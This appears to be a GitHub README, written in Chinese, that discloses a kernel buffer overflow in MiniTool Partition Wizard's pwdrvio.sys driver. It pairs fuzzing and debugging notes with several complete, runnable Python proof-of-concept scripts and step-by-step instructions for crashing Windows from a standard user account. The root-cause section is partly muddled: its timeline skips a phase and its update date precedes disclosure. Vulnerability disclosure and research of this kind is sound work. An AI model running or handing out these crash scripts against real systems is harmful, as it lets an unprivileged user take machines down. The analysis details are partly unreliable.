canomer/CVE-2026-36980-Kernel-BSOD-DoS-PoC
GitHub: canomer/CVE-2026-36980-Kernel-BSOD-DoS-PoC
针对 MiniTool Partition Wizard 所搭载的 pwdrvio.sys 内核驱动中 IOCTL 缓冲区溢出漏洞的完整安全研究报告与拒绝服务概念验证代码。
Stars: 1 | Forks: 0
# CVE-2026-36980-Kernel-BSOD-DoS-PoC
项目日期:2026 年 2 月 / 在 pwdrvio.sys 内核驱动程序的 IOCTL 处理程序中发现了一个缓冲区溢出漏洞。该漏洞允许无特权的本地攻击者破坏内核池内存,触发立即的系统崩溃 (BSOD) 和拒绝服务。
* 2026-02-09 已通知供应商
* 2026-03-05 供应商已确认
* 2026-03-05 已向 MITRE 申请 CVE
* 2026-05-10 在 90 天的协调披露期后公开披露
https://github.com/user-attachments/assets/b53fb5d1-b4d0-4bc6-ad6e-2a321a1d2101
**拒绝服务**
**严重级别:** 中危
**CVSS 3.1 评分:** 5.5 (DoS)
**CVSS 向量字符串:**
- DoS: `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H`
**缓冲区溢出 — 拒绝服务 (CVSS 5.5 - 中危)**
- 触发蓝屏死机 (BSOD)
- 独立利用(无需调试器)
- 由通过 IOCTL 0x22000d 的缓冲区溢出引起
- 在所有测试配置中均出现一致的崩溃
**攻击前提条件:**
- 对目标系统的本地访问权限
- 标准用户帐户(非管理员)
- 已安装或已卸载 MiniTool Partition Wizard(已加载 pwdrvio.sys 驱动程序)
**利用结果:** **DoS** - 立即系统崩溃,服务不可用
## 漏洞发现时间线
### 阶段 1:初始模糊测试与 BSOD 发现
**日期:** 2026 年 2 月 5 日
**活动:** 使用自定义 Python 模糊测试器进行系统性内核驱动程序模糊测试
**发现过程:**
1. **目标选择:**
- 枚举 Windows 10 VM 上已安装的内核驱动程序
- 将 `pwdrvio.sys` 识别为最旧的驱动程序(时间戳:2009 年 6 月 16 日)
- 驱动程序文件:`C:\Windows\System32\drivers\pwdrvio.sys`
- 设备对象:`\\.\PartitionWizardDiskAccesser\0`
2. **初始模糊测试:**
- 使用 `ctypes` 开发 Python 模糊测试器以与驱动程序交互
- 通过 `WriteFile/DeviceIoControl` 向驱动设备发送随机数据
- **结果:** 多次蓝屏死机 (BSOD)
3. **验证器激活:**
- 启用 Driver Verifier 以增强崩溃检测
verifier /standard /driver pwdrvio.sys
**Verifier 配置:**
Verifier 标志:0x001209bb
已启用的标准标志:
[X] Special pool
[X] Force IRQL checking
[X] Pool tracking
[X] I/O verification
[X] Deadlock detection
[X] DMA checking
[X] Security checks
[X] Miscellaneous checks
[X] DDI compliance checking
### 阶段 2:WinDbg 内核调试环境搭建
**日期:** 2026 年 2 月 5-6 日
**活动:** 建立内核调试环境以进行根本原因分析
**搭建步骤:**
1. **VMware 串口配置:**
VMware Workstation Pro → VM Settings
├─ Add Hardware → Serial Port
├─ Connection: "Use named pipe"
├─ Path: \\.\pipe\com_1
├─ End: "This is the server"
└─ I/O Mode: "Yield CPU on poll" ✓
2. **客户机操作系统配置:**
REM Administrator Command Prompt
bcdedit /debug on
bcdedit /dbgsettings serial debugport:1 baudrate:115200
shutdown /r /t 0
3. **主机 WinDbg 连接:**
WinDbg → File → Attach to Kernel
├─ Port: \\.\pipe\com_1
├─ Baud Rate: 115200
├─ Pipe: ✓
└─ Reconnect: ✓
结果: "Kernel Debugger connection established."
### 阶段 3:根本原因分析 - 任意写入发现
**日期:** 2026 年 2 月 6 日
**活动:** 识别出任意内核写入原语
**分析步骤:**
1. **模块分析:**
1: kd> lm m pwdrvio
start end module name
fffff805`315f0000 fffff805`315f8000 pwdrvio (Jun 16 2009)
1: kd> !drvobj pwdrvio 2
Driver object (fffff805`XXXXXXXX) is for:
\Driver\pwdrvio
DriverEntry: fffff805`315f6008
DriverUnload: fffff805`315f1060
Dispatch Routines:
[00] IRP_MJ_CREATE fffff805`315f108c
[02] IRP_MJ_CLOSE fffff805`315f12f8
[03] IRP_MJ_READ fffff805`315f16c4
[04] IRP_MJ_WRITE fffff805`315f1564 ← Target
[0e] IRP_MJ_DEVICE_CONTROL fffff805`315f1404
2. **易受攻击指令发现:**
在写入处理程序上设置断点:
1: kd> bp pwdrvio+0x1641
1: kd> g
Breakpoint 0 hit
pwdrvio+0x1641:
fffff805`315f1641 498943f0 mov qword ptr [r11-10h],rax
**关键发现:** 识别出任意写入原语!
- 该指令将内核指针 (`RAX`) 写入地址 `[R11-0x10]`
- `R11` 从栈帧加载:`mov r11, qword ptr [rbp+0xB8h]`
- 未对目标地址执行任何验证
3. **寄存器状态分析:**
0: kd> r
rax=fffff805315f1364 ← 内核代码指针
r11=ffffe60f84c38750 ← 目标地址(通过栈控制)
rbp=ffffe60f84c38610 ← IRP 栈帧
0: kd> dq @rbp+0xB8 L1
ffffe60f`84c386c8 ffffe60f`84c38750 ← R11 从此处加载
### 阶段 4:从 UAF 到任意写入的分析
**日期:** 2026 年 2 月 6-7 日
**活动:** 从释放后使用 (Use-After-Free) 追踪漏洞到任意写入条件
**内存破坏链:**
1. **IRP 分配:**
0: kd> !pool @rbp
Pool page ffffe60f84c38610 region is Special pool
*ffffe60f84c38000 size: 1f0 data: ffffe60f84c38e10 (NonPaged) *Irp+
Pooltag Irp+ : I/O verifier allocated IRP packets
2. **缓冲区关系:**
0: kd> r rsi
rsi=ffffe60f828df900 ← 用户缓冲区位置
0: kd> ? @rbp - @rsi
Evaluate expression: 35823344 = 00000000`02229ef0 ← 35MB 差距!
**分析:** 用户缓冲区无法从 RBP 帧直接访问
- RBP 指向内核池中的 IRP 结构
- 用户缓冲区位于不同的内存区域
- `RBP+0xB8` 偏移量未指向用户控制的缓冲区
3. **释放后使用条件 (Use-After-Free):**
驱动程序在 IRP 结构中保留了悬空指针:
// Ghidra 反编译 (pwdrvio+0x1564)
longlong lVar1 = *(longlong *)(param_2 + 0xb8); // 从 IRP 加载
// 无验证!
lVar5 = IoBuildAsynchronousFsdRequest(...);
// 写入 [lVar1 - 0x10]
*(code **)(lVar3 + -0x10) = FUN_00011364; // 任意写入!
### 阶段 6:拒绝服务漏洞识别
**日期:** 2026 年 2 月 8 日
**活动:** 发现独立的 DoS 漏洞
**发现:**
1. **IOCTL 模糊测试:**
- 使用畸形缓冲区测试各种 IOCTL 代码
- 识别出 IOCTL `0x22000d` 具有漏洞
2. **崩溃机制:**
# 易受攻击的参数
TARGET_IOCTL = 0x22000d
input_buf = (ctypes.c_char * 1024)(*([0xFF] * 1024))
real_output_buffer = ctypes.create_string_buffer(4)
fake_output_length = 8192 # 驱动程序信任此值!
DeviceIoControl(handle, TARGET_IOCTL, input_buf, 1024,
real_output_buffer, fake_output_length, ...)
3. **驱动行为:**
- 驱动程序信任用户提供的输出缓冲区长度
- 尝试将 8192 字节写入 4 字节的缓冲区
- 缓冲区溢出 → 池破坏 → BSOD
**Verifier 输出:**
```
DRIVER_VERIFIER_DETECTED_VIOLATION (c4)
Arg1: 0000000000000091, Corrupted pool allocation
Arg2: fffff805315f1404, Driver code address
Arg3: ffffe60f84c38000, Pool allocation address
Arg4: 0000000000000091, Corruption type
PROCESS_NAME: python.exe
```
## 漏洞 #2:拒绝服务
### CWE 分类
- **CWE-120:** 未检查输入大小的缓冲区复制
- **CWE-119:** 内存缓冲区操作的不当限制
- **CWE-248:** 未捕获的异常
### 漏洞详情
**位置:** `pwdrvio.sys` IOCTL 处理程序
**易受攻击的 IOCTL:** 0x22000d
**触发机制:**
```
import ctypes
from ctypes import wintypes
DEVICE_NAME = r"\\.\PartitionWizardDiskAccesser\0"
TARGET_IOCTL = 0x22000d
kernel32 = ctypes.windll.kernel32
# 打开驱动
handle = kernel32.CreateFileW(DEVICE_NAME, 0xC0000000, 3, None, 3, 0, None)
# 恶意参数
input_buf = (ctypes.c_char * 1024)(*([0xFF] * 1024))
real_output_buffer = ctypes.create_string_buffer(4) # Only 4 bytes!
fake_output_length = 8192 # Claim 8192 bytes!
bytes_returned = wintypes.DWORD(0)
# 触发溢出
kernel32.DeviceIoControl(handle, TARGET_IOCTL,
input_buf, 1024,
real_output_buffer, fake_output_length, # ← Overflow!
ctypes.byref(bytes_returned), None)
```
**崩溃行为:**
启用 Driver Verifier 时:
```
DRIVER_VERIFIER_DETECTED_VIOLATION (c4)
Arguments:
Arg1: 0000000000000091 - Corrupted pool allocation detected
Arg2: fffff805315f1404 - Driver code address (IOCTL handler)
Arg3: ffffe60f84c38000 - Pool allocation address
Arg4: 0000000000000091 - Special pool pattern corrupted
Analysis:
- Driver attempts to write 8192 bytes to 4-byte buffer
- Pool header corruption detected by verifier
- Immediate bugcheck (BSOD)
Process triggering crash: python.exe (standard user)
```
未启用 Driver Verifier 时:
```
SYSTEM_SERVICE_EXCEPTION (3b)
Arguments:
Arg1: 00000000c0000005 - Access violation
Arg2: fffff805315f1404 - Faulting address in pwdrvio.sys
Arg3: ffffXXXXXXXXXXXX - Trap frame
Arg4: 0000000000000000
Result: Blue Screen of Death
```
### 完整代码与利用
**代码:**
```
import ctypes
from ctypes import wintypes
# --- 设置 ---
DEVICE_NAME = r"\\.\PartitionWizardDiskAccesser\0"
kernel32 = ctypes.windll.kernel32
# --- 定义 ---
# Windows API 定义
kernel32.CreateFileW.argtypes = [wintypes.LPCWSTR, wintypes.DWORD, wintypes.DWORD,
wintypes.LPVOID, wintypes.DWORD, wintypes.DWORD, wintypes.HANDLE]
kernel32.CreateFileW.restype = wintypes.HANDLE
kernel32.DeviceIoControl.argtypes = [wintypes.HANDLE, wintypes.DWORD, wintypes.LPVOID, wintypes.DWORD,
wintypes.LPVOID, wintypes.DWORD, ctypes.POINTER(wintypes.DWORD), wintypes.LPVOID]
kernel32.DeviceIoControl.restype = wintypes.BOOL
def trigger_bsod():
print("[!] MiniTool DoS...")
# 1. Connect Driver
handle = kernel32.CreateFileW(DEVICE_NAME, 0xC0000000, 3, None, 3, 0, None)
if handle == wintypes.HANDLE(-1).value or handle is None:
print("[-] Couldnt Connect.")
return
# 2. Preperation
# IOCTL from Fuzzer
TARGET_IOCTL = 0x22000d
# Input: Fiiled 0xFF - 1024 byte (Pointer Poisoning)
in_size = 1024
input_buf = (ctypes.c_char * in_size)(*([0xFF] * in_size))
# Output Trap: Standard 4 byte, 8192 byte in Driver
real_output_buffer = ctypes.create_string_buffer(4)
fake_output_length = 8192
bytes_returned = wintypes.DWORD(0)
print("[+] Wait for BSoD...")
# 3. Loop (Pool Corruption)
while True:
kernel32.DeviceIoControl(
handle,
TARGET_IOCTL,
input_buf,
in_size,
real_output_buffer,
fake_output_length, # <--- Vulnerable Point: Driver BufferOverflow
ctypes.byref(bytes_returned),
None
)
if __name__ == "__main__":
trigger_bsod()
```
**利用:**
```
PS C:\Users\standarduser\directory> & "C:\Program Files\Python314\python.exe" .\DoS_PoC.py
```
## 概念验证与复现步骤
### 前置条件
**测试环境:**
- **操作系统:** Windows 10 Home Build 19045.6466
- **架构:** x64
- **MiniTool 版本:** Partition Wizard 13.5
- **驱动程序:** pwdrvio.sys(日期为 2009 年 6 月 16 日)
- **用户帐户:** 标准用户(非管理员)
**所需工具:**
- **用于 LPE:** WinDbg (Windows 调试器),VMware Workstation
- **用于 DoS:** 带有 ctypes 的 Python 3.x
### 复现 #1:拒绝服务(独立)
**步骤 1:验证驱动程序安装**
```
C:\> sc query pwdrvio
SERVICE_NAME: pwdrvio
TYPE : 1 KERNEL_DRIVER
STATE : 4 RUNNING
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
```
**步骤 2:启用 Driver Verifier(可选但推荐)**
```
REM Administrator Command Prompt
C:\> verifier /standard /driver pwdrvio.sys
REM Verify configuration
C:\> verifier /query
Verifier Flags: 0x001209bb
Standard Flags:
[X] 0x00000001 Special pool
[X] 0x00000002 Force IRQL checking
[X] 0x00000008 Pool tracking
[X] 0x00000010 I/O verification
[X] 0x00000020 Deadlock detection
[X] 0x00000080 DMA checking
[X] 0x00000100 Security checks
[X] 0x00000800 Miscellaneous checks
[X] 0x00020000 DDI compliance checking
Driver Verification List:
MODULE: pwdrvio.sys (load: 1 / unload: 0)
REM Reboot for verifier to take effect
C:\> shutdown /r /t 0
```
**步骤 3:创建 DoS 漏洞利用脚本**
保存为 `dos_exploit.py`:
```
import ctypes
from ctypes import wintypes
# 设备路径
DEVICE_NAME = r"\\.\PartitionWizardDiskAccesser\0"
kernel32 = ctypes.windll.kernel32
# Windows API 定义
kernel32.CreateFileW.argtypes = [wintypes.LPCWSTR, wintypes.DWORD, wintypes.DWORD,
wintypes.LPVOID, wintypes.DWORD, wintypes.DWORD,
wintypes.HANDLE]
kernel32.CreateFileW.restype = wintypes.HANDLE
kernel32.DeviceIoControl.argtypes = [wintypes.HANDLE, wintypes.DWORD, wintypes.LPVOID,
wintypes.DWORD, wintypes.LPVOID, wintypes.DWORD,
ctypes.POINTER(wintypes.DWORD), wintypes.LPVOID]
kernel32.DeviceIoControl.restype = wintypes.BOOL
def trigger_bsod():
print("[*] MiniTool pwdrvio.sys DoS Exploit")
print("[*] Triggering Blue Screen of Death...")
# Open device
handle = kernel32.CreateFileW(DEVICE_NAME, 0xC0000000, 3, None, 3, 0, None)
if handle == wintypes.HANDLE(-1).value or handle is None:
print("[-] Failed to open driver")
print("[-] Ensure MiniTool Partition Wizard is installed")
return
print("[+] Driver opened successfully")
# Vulnerable IOCTL code
TARGET_IOCTL = 0x22000d
# Input buffer: 1024 bytes of 0xFF
input_buf = (ctypes.c_char * 1024)(*([0xFF] * 1024))
# Output buffer: Only 4 bytes (but claim 8192!)
real_output_buffer = ctypes.create_string_buffer(4)
fake_output_length = 8192 # Driver trusts this value → Overflow!
bytes_returned = wintypes.DWORD(0)
print("[!] Sending malicious IOCTL...")
print("[!] System will crash in 3...2...1...")
# Trigger buffer overflow → BSOD
kernel32.DeviceIoControl(
handle,
TARGET_IOCTL,
input_buf,
1024,
real_output_buffer,
fake_output_length, # ← Vulnerability trigger
ctypes.byref(bytes_returned),
None
)
# This line will never execute
print("[*] If you see this, the exploit failed")
if __name__ == "__main__":
trigger_bsod()
```
**步骤 4:执行漏洞利用(标准用户)**
```
C:\> whoami
desktop-lfkkhu2\standard_user
C:\> python dos_exploit.py
[*] MiniTool pwdrvio.sys DoS Exploit
[*] Triggering Blue Screen of Death...
[+] Driver opened successfully
[!] Sending malicious IOCTL...
[!] System will crash in 3...2...1...
[System immediately crashes with BSOD]
```
**预期结果:**
带有停止代码的蓝屏:
```
DRIVER_VERIFIER_DETECTED_VIOLATION (c4)
```
或
```
SYSTEM_SERVICE_EXCEPTION (3b)
```
**验证:** 系统崩溃确认存在 DoS 漏洞
**MiniTool 软件:**
```
Product: MiniTool Partition Wizard
Version: 13.5
Installation Path: C:\Program Files\MiniTool Partition Wizard
Driver Path: C:\Windows\System32\drivers\pwdrvio.sys
Driver Date: June 16, 2009 (0x4A36F8D1)
Driver Size: 32,256 bytes
```
**测试工具:**
```
WinDbg Version: 10.0.29507.1001 AMD64
Python Version: 3.x with ctypes
Compiler: x86_64-w64-mingw32-gcc (MinGW)
Verifier: Windows Driver Verifier (Standard flags)
```
## 受影响的版本
### 确认受影响
**主要产品:**
- MiniTool Partition Wizard 13.5
- 所有使用 pwdrvio.sys 的早期版本
**驱动程序详情:**
```
File Name: pwdrvio.sys
File Version: [Not available]
File Size: 32,256 bytes (31.5 KB)
Time Stamp: 0x4A36F8D1 (June 16, 2009, 04:43:45 UTC)
Digital Signature: [Signed by vendor]
Device Name: \\.\PartitionWizardDiskAccesser\0
Service Name: pwdrvio
Load Order: Boot Start (SERVICE_BOOT_START)
```
### 可能受影响
可能使用相同驱动程序的其他 MiniTool 产品:
- MiniTool Power Data Recovery
- MiniTool Partition Wizard Bootable Edition
- MiniTool ShadowMaker
**注意:** 应单独测试每个产品以进行确认。
### 操作系统兼容性
**已测试并确认受影响:**
- Windows 10 Home Build 19045.6466 (x64)
**可能受影响(未测试):**
- Windows 7 (x64)
- Windows 8 / 8.1 (x64)
- Windows 10(所有版本,x64)
- Windows 11 (x64)
- Windows Server 2008 R2 及更高版本
**原因:** 该驱动程序兼容所有现代 Windows 版本,且不包含版本特定的检查。
## 法律免责声明
本仓库严格仅用于在受控实验室环境中进行教育、防御性安全研究和漏洞复现目的。
信息和概念验证代码旨在帮助防御者、研究人员和供应商理解并修复已报告的漏洞。
未经明确授权对系统恶意使用本可能违反适用的法律和法规。
作者不鼓励或纵容任何非法活动,并且对因滥用本材料造成的损坏不承担任何责任。
本漏洞披露报告用于:
1. 安全研究与教育
2. 供应商通知和补丁开发
3. 保护最终用户
4. 学术和防御性安全目的
**严禁用于:**
- 未经授权访问计算机系统
- 恶意利用
- 任何非法活动
研究人员在受控环境中使用个人拥有的系统进行了所有测试。未对第三方系统进行任何未经授权的访问。
**报告版本:** 1.0
**最后更新:** 2026 年 2 月 9 日
标签:0day挖掘, 0day漏洞, CVE-2026-36980, CVSS 3.1, CVSS 5.5, IOCTL处理, MiniTool Partition Wizard, PoC, pwdrvio.sys, T和安全漏洞, Web报告查看器, Windows驱动, 内存损坏, 内核安全, 协调披露, 安全研究员, 拒绝服务攻击, 暴力破解, 本地提权, 池内存破坏, 系统崩溃, 缓冲区溢出, 蓝屏, 输入验证不当, 逆向工具, 非特权攻击, 驱动模糊测试